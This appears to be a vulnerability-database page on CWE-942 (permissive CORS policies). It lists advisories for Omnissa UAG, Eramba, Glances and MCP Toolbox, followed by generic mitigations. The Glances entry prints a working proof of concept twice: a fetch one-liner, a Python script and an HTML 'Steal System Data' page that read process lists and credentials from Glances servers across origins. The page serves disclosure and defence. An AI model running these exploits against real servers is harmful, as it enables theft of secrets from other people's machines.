CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-25234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T15:15:54Z",
    "severity": "HIGH"
  },
  "details": "Omnissa UAG contains a Cross-Origin Resource Sharing (CORS) bypass vulnerability.\u00a0A malicious actor with network access to UAG may be able to bypass administrator-configured CORS restrictions to gain access to sensitive networks.",
  "id": "GHSA-7hqv-m3mr-cv2v",
  "modified": "2025-04-21T21:30:29Z",
  "published": "2025-04-17T15:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25234"
    },
    {
      "type": "WEB",
      "url": "https://static.omnissa.com/sites/default/files/OMSA-2025-0002.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.omnissa.com/omnissa-security-response"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7MF2-39XH-3VQ6

Vulnerability from github – Published: 2026-01-13 15:37 – Updated: 2026-01-15 00:31
VLAI
Details

A CORS misconfiguration in Eramba Community and Enterprise Editions v3.26.0 allows an attacker-controlled Origin header to be reflected in the Access-Control-Allow-Origin response along with Access-Control-Allow-Credentials: true. This permits malicious third-party websites to perform authenticated cross-origin requests against the Eramba API, including endpoints like /system-api/login and /system-api/user/me. The response includes sensitive user session data (ID, name, email, access groups), which is accessible to the attacker's JavaScript. This flaw enables full session hijack and data exfiltration without user interaction. Eramba versions 3.23.3 and earlier were tested and appear unaffected. The vulnerability is present in default installations, requiring no custom configuration.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-55462"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T15:15:58Z",
    "severity": "MODERATE"
  },
  "details": "A CORS misconfiguration in Eramba Community and Enterprise Editions v3.26.0 allows an attacker-controlled Origin header to be reflected in the Access-Control-Allow-Origin response along with Access-Control-Allow-Credentials: true. This permits malicious third-party websites to perform authenticated cross-origin requests against the Eramba API, including endpoints like /system-api/login and /system-api/user/me. The response includes sensitive user session data (ID, name, email, access groups), which is accessible to the attacker\u0027s JavaScript. This flaw enables full session hijack and data exfiltration without user interaction. Eramba versions 3.23.3 and earlier were tested and appear unaffected. The vulnerability is present in default installations, requiring no custom configuration.",
  "id": "GHSA-7mf2-39xh-3vq6",
  "modified": "2026-01-15T00:31:38Z",
  "published": "2026-01-13T15:37:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55462"
    },
    {
      "type": "WEB",
      "url": "https://discussions.eramba.org/t/release-3-28-0/7860"
    },
    {
      "type": "WEB",
      "url": "http://eramba.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7P93-6934-F4Q7

Vulnerability from github – Published: 2026-03-30 17:00 – Updated: 2026-04-27 15:23
VLAI
Summary
Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard
Details

Summary

The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).

Details

File: glances/server.py, class GlancesXMLRPCHandler, line 41

def send_my_headers(self):
    self.send_header("Access-Control-Allow-Origin", "*")

This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.

The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.

PoC

Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.

Step 1. Start the Glances XML-RPC server on the target machine:

glances -s -p 61209

Step 2. From any machine, run the Python PoC to confirm the issue server-side:

python3 poc_test.py TARGET_IP 61209

Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.

Step 4. Alternatively, paste this into any browser console while on any website:

fetch("http://TARGET_IP:61209/RPC2", {
    method: "POST",
    headers: {"Content-Type": "text/plain"},
    body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
}).then(r => r.text()).then(d => {
    let m = d.match(/<string>([\s\S]*?)<\/string>/);
    let data = JSON.parse(m[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
    console.log("Hostname:", data.system.hostname);
    console.log("Processes:", data.processlist.length);
    console.log("First process cmdline:", data.processlist[0].cmdline);
});

Verified output from testing on Glances 4.5.3_dev01 (current main branch):

[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname:     claude
OS:           Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35

Impact

Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.

poc_test.py

#!/usr/bin/env python3
"""
PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration

This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.

The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.

Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
"""

import http.client
import json
import sys
import xmlrpc.client


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209

    print(f"[*] Target: {host}:{port}")
    print(f"[*] Simulating cross-origin request (Content-Type: text/plain)")
    print()

    conn = http.client.HTTPConnection(host, port, timeout=10)

    # XML-RPC payload sent as text/plain to avoid CORS preflight
    payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
    headers = {
        "Content-Type": "text/plain",
        "Origin": "http://evil-attacker.com",
    }

    try:
        conn.request("POST", "/RPC2", body=payload, headers=headers)
        response = conn.getresponse()
    except Exception as e:
        print(f"[-] Connection failed: {e}")
        sys.exit(1)

    print(f"[+] HTTP Status: {response.status}")
    cors = response.getheader("Access-Control-Allow-Origin")
    print(f"[+] Access-Control-Allow-Origin: {cors}")
    print()

    if cors != "*":
        print("[-] CORS header is not wildcard. Attack would not work.")
        sys.exit(1)

    data = response.read()
    result = xmlrpc.client.loads(data)[0][0]
    parsed = json.loads(result)

    print("[+] Successfully retrieved system data cross-origin.")
    print()
    print("=== Stolen System Information ===")
    print()

    system = parsed.get("system", {})
    print(f"Hostname:     {system.get('hostname', 'N/A')}")
    print(f"OS:           {system.get('os_name', 'N/A')} {system.get('os_version', '')}")
    print(f"Platform:     {system.get('platform', 'N/A')}")
    print(f"Distribution: {system.get('linux_distro', 'N/A')}")
    print()

    cpu = parsed.get("cpu", {})
    print(f"CPU user:     {cpu.get('user', 'N/A')}%")
    print(f"CPU system:   {cpu.get('system', 'N/A')}%")
    print(f"CPU cores:    {cpu.get('cpucore', 'N/A')}")
    print()

    mem = parsed.get("mem", {})
    total_mb = round((mem.get("total", 0)) / 1024 / 1024)
    used_mb = round((mem.get("used", 0)) / 1024 / 1024)
    print(f"Memory:       {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)")
    print()

    ip_info = parsed.get("ip", {})
    print(f"IP Address:   {ip_info.get('address', 'N/A')}")
    print(f"Subnet Mask:  {ip_info.get('mask', 'N/A')}")
    print()

    procs = parsed.get("processlist", [])
    print(f"Process count: {len(procs)}")
    print()
    print("Top 5 processes by CPU (with command lines):")
    for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]:
        cmdline = p.get("cmdline", [])
        cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline)
        print(f"  PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}")

    print()
    print(f"[+] Total data categories exposed: {len(parsed.keys())}")
    print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")


if __name__ == "__main__":
    main()

poc_cors_xmlrpc.html

<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;"></pre>
<script>
async function exploit() {
    const target = document.getElementById("target").value;
    const out = document.getElementById("output");
    out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n";
    out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)\n\n";

    try {
        const resp = await fetch(target + "/RPC2", {
            method: "POST",
            headers: {"Content-Type": "text/plain"},
            body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>'
        });

        out.textContent += "[+] Response status: " + resp.status + "\n";
        out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-Origin") + "\n\n";

        const xml = await resp.text();
        const match = xml.match(/<string>([\s\S]*?)<\/string>/);
        if (match) {
            const data = JSON.parse(match[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&"));
            out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
            out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
            out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.system?.os_version || "") + "\n";
            out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
            out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
            out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) + "MB / " + Math.round((data.mem?.total||0)/1024/1024) + "MB\n";
            out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";

            if (data.processlist?.length > 0) {
                out.textContent += "[+] Top 10 processes (with full command lines):\n";
                data.processlist.slice(0, 10).forEach(p => {
                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdline || "");
                    out.textContent += "  PID " + p.pid + " | " + p.name + " | " + cmd.substring(0,120) + "\n";
                });
            }

            if (data.network?.length > 0) {
                out.textContent += "\n[+] Network interfaces:\n";
                data.network.forEach(n => {
                    out.textContent += "  " + n.interface_name + " | RX: " + n.bytes_recv + " TX: " + n.bytes_sent + "\n";
                });
            }

            if (data.fs?.length > 0) {
                out.textContent += "\n[+] Filesystems:\n";
                data.fs.forEach(f => {
                    out.textContent += "  " + f.mnt_point + " | " + f.device_name + " | " + f.percent + "% used\n";
                });
            }
        }
    } catch(e) {
        out.textContent += "[-] Error: " + e.message + "\n";
    }
}
</script>
</body>
</html>
Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:00:54Z",
    "nvd_published_at": "2026-04-02T15:16:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker\u0027s JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances/server.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n    self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python\u0027s xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http://TARGET_IP:61209/RPC2\", {\n    method: \"POST\",\n    headers: {\"Content-Type\": \"text/plain\"},\n    body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n}).then(r =\u003e r.text()).then(d =\u003e {\n    let m = d.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n    let data = JSON.parse(m[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n    console.log(\"Hostname:\", data.system.hostname);\n    console.log(\"Processes:\", data.processlist.length);\n    console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname:     claude\nOS:           Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text/plain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n    host = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\n    port = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 61209\n\n    print(f\"[*] Target: {host}:{port}\")\n    print(f\"[*] Simulating cross-origin request (Content-Type: text/plain)\")\n    print()\n\n    conn = http.client.HTTPConnection(host, port, timeout=10)\n\n    # XML-RPC payload sent as text/plain to avoid CORS preflight\n    payload = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n    headers = {\n        \"Content-Type\": \"text/plain\",\n        \"Origin\": \"http://evil-attacker.com\",\n    }\n\n    try:\n        conn.request(\"POST\", \"/RPC2\", body=payload, headers=headers)\n        response = conn.getresponse()\n    except Exception as e:\n        print(f\"[-] Connection failed: {e}\")\n        sys.exit(1)\n\n    print(f\"[+] HTTP Status: {response.status}\")\n    cors = response.getheader(\"Access-Control-Allow-Origin\")\n    print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n    print()\n\n    if cors != \"*\":\n        print(\"[-] CORS header is not wildcard. Attack would not work.\")\n        sys.exit(1)\n\n    data = response.read()\n    result = xmlrpc.client.loads(data)[0][0]\n    parsed = json.loads(result)\n\n    print(\"[+] Successfully retrieved system data cross-origin.\")\n    print()\n    print(\"=== Stolen System Information ===\")\n    print()\n\n    system = parsed.get(\"system\", {})\n    print(f\"Hostname:     {system.get(\u0027hostname\u0027, \u0027N/A\u0027)}\")\n    print(f\"OS:           {system.get(\u0027os_name\u0027, \u0027N/A\u0027)} {system.get(\u0027os_version\u0027, \u0027\u0027)}\")\n    print(f\"Platform:     {system.get(\u0027platform\u0027, \u0027N/A\u0027)}\")\n    print(f\"Distribution: {system.get(\u0027linux_distro\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    cpu = parsed.get(\"cpu\", {})\n    print(f\"CPU user:     {cpu.get(\u0027user\u0027, \u0027N/A\u0027)}%\")\n    print(f\"CPU system:   {cpu.get(\u0027system\u0027, \u0027N/A\u0027)}%\")\n    print(f\"CPU cores:    {cpu.get(\u0027cpucore\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    mem = parsed.get(\"mem\", {})\n    total_mb = round((mem.get(\"total\", 0)) / 1024 / 1024)\n    used_mb = round((mem.get(\"used\", 0)) / 1024 / 1024)\n    print(f\"Memory:       {used_mb}MB / {total_mb}MB ({mem.get(\u0027percent\u0027, \u0027N/A\u0027)}%)\")\n    print()\n\n    ip_info = parsed.get(\"ip\", {})\n    print(f\"IP Address:   {ip_info.get(\u0027address\u0027, \u0027N/A\u0027)}\")\n    print(f\"Subnet Mask:  {ip_info.get(\u0027mask\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    procs = parsed.get(\"processlist\", [])\n    print(f\"Process count: {len(procs)}\")\n    print()\n    print(\"Top 5 processes by CPU (with command lines):\")\n    for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n        cmdline = p.get(\"cmdline\", [])\n        cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n        print(f\"  PID {p.get(\u0027pid\u0027):\u003e6} | {p.get(\u0027name\u0027, \u0027N/A\u0027):\u003e20} | CPU {p.get(\u0027cpu_percent\u0027, 0):\u003e5.1f}% | {cmd[:100]}\")\n\n    print()\n    print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n    print(f\"[+] Categories: {\u0027, \u0027.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eGlances XML-RPC CORS PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch2\u003eGlances XML-RPC Cross-Origin Data Theft PoC\u003c/h2\u003e\n\u003cp\u003eTarget: \u003cinput id=\"target\" value=\"http://127.0.0.1:61209\" size=\"40\"\u003e\u003c/p\u003e\n\u003cbutton onclick=\"exploit()\"\u003eSteal System Data\u003c/button\u003e\n\u003cpre id=\"output\" style=\"background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nasync function exploit() {\n    const target = document.getElementById(\"target\").value;\n    const out = document.getElementById(\"output\");\n    out.textContent = \"[*] Sending cross-origin XML-RPC request to \" + target + \"/RPC2\\n\";\n    out.textContent += \"[*] Content-Type: text/plain (CORS simple request, no preflight)\\n\\n\";\n\n    try {\n        const resp = await fetch(target + \"/RPC2\", {\n            method: \"POST\",\n            headers: {\"Content-Type\": \"text/plain\"},\n            body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n        });\n\n        out.textContent += \"[+] Response status: \" + resp.status + \"\\n\";\n        out.textContent += \"[+] CORS header: \" + resp.headers.get(\"Access-Control-Allow-Origin\") + \"\\n\\n\";\n\n        const xml = await resp.text();\n        const match = xml.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n        if (match) {\n            const data = JSON.parse(match[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n            out.textContent += \"[+] === STOLEN SYSTEM DATA ===\\n\\n\";\n            out.textContent += \"Hostname: \" + (data.system?.hostname || \"N/A\") + \"\\n\";\n            out.textContent += \"OS: \" + (data.system?.os_name || \"N/A\") + \" \" + (data.system?.os_version || \"\") + \"\\n\";\n            out.textContent += \"CPU cores: \" + (data.cpu?.cpucore || \"N/A\") + \"\\n\";\n            out.textContent += \"CPU usage: \" + (data.cpu?.user || \"N/A\") + \"% user\\n\";\n            out.textContent += \"Memory: \" + Math.round((data.mem?.used||0)/1024/1024) + \"MB / \" + Math.round((data.mem?.total||0)/1024/1024) + \"MB\\n\";\n            out.textContent += \"Processes: \" + (data.processlist?.length || 0) + \"\\n\\n\";\n\n            if (data.processlist?.length \u003e 0) {\n                out.textContent += \"[+] Top 10 processes (with full command lines):\\n\";\n                data.processlist.slice(0, 10).forEach(p =\u003e {\n                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(\" \") : (p.cmdline || \"\");\n                    out.textContent += \"  PID \" + p.pid + \" | \" + p.name + \" | \" + cmd.substring(0,120) + \"\\n\";\n                });\n            }\n\n            if (data.network?.length \u003e 0) {\n                out.textContent += \"\\n[+] Network interfaces:\\n\";\n                data.network.forEach(n =\u003e {\n                    out.textContent += \"  \" + n.interface_name + \" | RX: \" + n.bytes_recv + \" TX: \" + n.bytes_sent + \"\\n\";\n                });\n            }\n\n            if (data.fs?.length \u003e 0) {\n                out.textContent += \"\\n[+] Filesystems:\\n\";\n                data.fs.forEach(f =\u003e {\n                    out.textContent += \"  \" + f.mnt_point + \" | \" + f.device_name + \" | \" + f.percent + \"% used\\n\";\n                });\n            }\n        }\n    } catch(e) {\n        out.textContent += \"[-] Error: \" + e.message + \"\\n\";\n    }\n}\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```",
  "id": "GHSA-7p93-6934-f4q7",
  "modified": "2026-04-27T15:23:43Z",
  "published": "2026-03-30T17:00:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard"
}

GHSA-7PF3-8XX7-RVHF

Vulnerability from github – Published: 2026-05-28 00:30 – Updated: 2026-07-01 20:54
VLAI
Summary
MCP Toolbox for Databases vulnerable to DNS rebinding attacks
Details

Vulnerable to DNS rebinding attacks when using SSE (http://b/499408790). During the beta phase, we implemented allowed-origins and allowed-hosts flags to align with MCP security guidelines. However, the hardcoded Access-Control-Allow-Origin: * header in the SSE initialization handler was inadvertently retained. This vulnerability specifically impacts users connecting via Toolbox using SSE under specification v2024-11-05.

Severity
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/googleapis/mcp-toolbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-9739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:54:22Z",
    "nvd_published_at": "2026-05-27T23:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerable to DNS rebinding attacks when using SSE (http://b/499408790). During the beta phase, we implemented `allowed-origins` and `allowed-hosts` flags to align with MCP security guidelines. However, the hardcoded `Access-Control-Allow-Origin: *` header in the SSE initialization handler was inadvertently retained. This vulnerability specifically impacts users connecting via Toolbox using SSE under specification v2024-11-05.",
  "id": "GHSA-7pf3-8xx7-rvhf",
  "modified": "2026-07-01T20:54:22Z",
  "published": "2026-05-28T00:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9739"
    },
    {
      "type": "WEB",
      "url": "https://github.com/googleapis/mcp-toolbox/issues/3053"
    },
    {
      "type": "WEB",
      "url": "https://github.com/googleapis/mcp-toolbox/pull/3054"
    },
    {
      "type": "WEB",
      "url": "https://github.com/googleapis/mcp-toolbox/commit/c4c7bd917e686de68e2be866cfe3872c3439efae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/googleapis/mcp-toolbox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Toolbox for Databases vulnerable to DNS rebinding attacks"
}
Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file.

Mitigation
Architecture and Design Operation

Strategy: Attack Surface Reduction

Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Mitigation
Architecture and Design Operation

Strategy: Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list